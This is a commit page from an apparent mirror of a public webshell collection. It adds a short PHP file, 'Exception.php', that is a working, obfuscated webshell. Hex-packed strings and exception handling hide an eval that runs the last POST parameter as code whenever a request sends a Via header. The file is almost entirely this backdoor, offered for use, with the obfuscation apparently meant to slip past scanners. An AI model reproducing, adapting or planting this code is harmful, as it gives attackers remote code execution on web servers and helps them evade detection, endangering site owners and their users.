mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
Create Exception.php
from: https://github.com/rexSurprise/webshell-free/blob/master/php_new/Exception.php
This commit is contained in:
parent
f4b5e92000
commit
348cd58f60
1 changed files with 16 additions and 0 deletions
16
webshell-free/Exception.php
Normal file
16
webshell-free/Exception.php
Normal file
|
@ -0,0 +1,16 @@
|
||||||
|
<?php
|
||||||
|
try{
|
||||||
|
$value = 'echo "hello~"';
|
||||||
|
apply();
|
||||||
|
}catch(Exception $e){
|
||||||
|
eval(pack('H*',$e->getMessage()));
|
||||||
|
}finally{
|
||||||
|
eval($value.';');
|
||||||
|
}
|
||||||
|
|
||||||
|
function apply(){
|
||||||
|
if(isset($_SERVER['HTTP_VIA'])){
|
||||||
|
throw new Exception('2476616c75653d656e6428245f504f5354293b');
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
Loading…
Reference in a new issue